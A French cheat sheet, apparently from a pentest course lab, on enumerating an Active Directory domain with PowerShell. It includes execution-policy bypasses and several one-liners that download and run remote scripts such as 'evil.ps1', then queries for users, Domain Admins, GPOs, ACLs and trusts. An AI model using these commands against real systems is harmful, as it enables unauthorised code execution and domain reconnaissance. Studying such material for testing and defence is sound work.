Obtenir un maximum d’informations sur un domaine (sans powerview)

Introduction à Active Directory et Kerberos

Structure d'un active directory

Un AD contient plusieurs domaines et organisation unit(OU)

Introduction à PowerShell

Get-Help * Liste tout l’aide disponibile
Get-Help process Liste tout avec le mot-clé “process”
Update-Help Update-Help
Get-Help Get-Item -Full
Get-Help Get-Item -Examples

Get-Command -CommandType cmdlet

Outrepasser les politiques d’exécution PowerShell

  • powershell -ExecutionPolicy bypass
  • powershell -c
  • powershell -encodedcommand
  • $env:PSExecutionPolicyPreference=”bypass”

Import-Module <modulepath>
Get-Command -Module <modulename> Liste toutes les commandes dans un module

Téléchargement et exécution de scripts powershell. Diverses méthodes

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.2.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();$iex $response

Avec les versions 3 et plus récentes

iex(iwr 'http://192.168.2.3/evil.ps1')

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.2.3/evil.ps1',$false);$h.send(); iex $h.responseText

$wr = [System.,NET.WebRequest]::Create("http://192.168.2.2/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

Énumération du domaine (attaques et défense)

  • Forest
  • DomainControllers
  • Children
  • DomainMode
  • DomainModeLevel
  • Parent
  • PdcRoleOwner
  • RidRoleOwner
  • InfrastructureRoleOwner
  • Name

$ADClass = [System.Directoryservices.ActiveDirectory.Domain]
$ADClass::GetCurrentDomain() 

Installer le module ADModule

iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory

Obtenir de l’information sur le domaine actuel ou un autre domaine

Get-ADDomain
Get-ADDomain -Identity moneycorp.local
(Get-ADDomain).DomainSID

Obtenir le controlleur de domaines

Get-ADDomainController
Get-AddomainController -DomainName moneycorp.local

Obtenir la liste des usagers dans le domaine courant

Get-ADUser -Filter * -Properties *
Get-ADUser -Identity student1 -Properties *

Obtenir la liste des propriétés pour les usagers du domaine courant

Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}

Recherche dans les attributs d’un usager

Get-ADUser -Filter ‘Description -like “*built*”‘ -Properties Description | select name,Description

Obtenir la liste des ordinateurs dans le domaine

Get-ADComputer -Filter * select Name
Get-ADComputer -Filter ‘OperatingSystem -like “*Server 2016*”‘ -Properties OperatingSystem select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *

Obtient les groupes dans le domaine courant

Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter ‘Name -like “*admin*”‘ | select Name

Obtenir tous les membres du groupe Domain Admins

Get-ADGroupMember -Identity “Domain Admins” -Recursive

Obtenir les groupes d’appartenance pour un usager

Get-ADPrincipalGroupMembership -Identity student1

Les politiques de groupe permettent une gestion centralisée de la configuration dans le AD

Elles permettent la configuration des

  • Réglages de sécurité
  • Politiques basées sur les registres
  • Scripts startup/shutdown/log-on/logoff
  • Installation de logiciels

Par contre, les GPO pouvent être utilisés pour différentes attaques (escalation des privilèges), backdoors et persistence.

Il faut d’abord ajouter RSAT : Group Policy Management Tools à la liste des fonctionnalités de Windows via l’interface graphique ou avec powershell (avec les droits admin)

Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online

Obtient la list des GPO dans le domaine actuel

Get-GPO -ALL
Get-GPResultatSetOfPolicy -ReportType Html -Path c:\users\administrator\report.html (RSoP)

Obtient les OU dans un domaines

Get-ADOrganizationalUnit -Filter * -Properties *

Obtient les GPO liés à un OU
Get-GPO -Guid AB30…………

ACL : Access Control List (ACL)

  • C’est une liste de ACE (Access Control Entries). Qui a la permission et qu’est-ce qui peut être réalisé sur un objet
  • 2 types de ACL :DACL et SACL. DACL définit les permissions qu’un groupe ou un usager possèdent sur un objet. SACL enregistre les événéments quand un objet est accédé (permissions refusées ou accordées)

Énumérer les ACL en utilisant le module ActiveDirectory (sans GUID)

(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp, DC=local').Access

Obtient une liste de tous les domain trusts pour le domaine courant

Get-ADTrust
Get-ADTrust -Identity us.dollarcorp.moneycorp.local

Obtient les détails de la forêt courante

Get-ADForest
Get-ADForest -Identity eurocorp.local

Obtient les catalogues globaux de la forêt courante

Get-ADForest | select -ExpandProperty GlobalCatalogs

Map trusts d’une forêt

Get-ADTrust -Filter ‘msDS-TrustForestTrustInfo -ne “$null”‘

Obtient tous les domaines dans la forêt courante

(Get-ADForest).Domains

Sur quels postes de travail l’usager à un accès administrateur. Utile si les ports RPC et SMB sont bloqués

Find-WMILocalAdminAccess.ps1

.\NetCease.ps1 peut changer les permissions normalement accordées pour les membres du “Authenticated Users” group. Cela permet d’éviter de savoirr les usagés connectés sur un poste de travail

Leave a Reply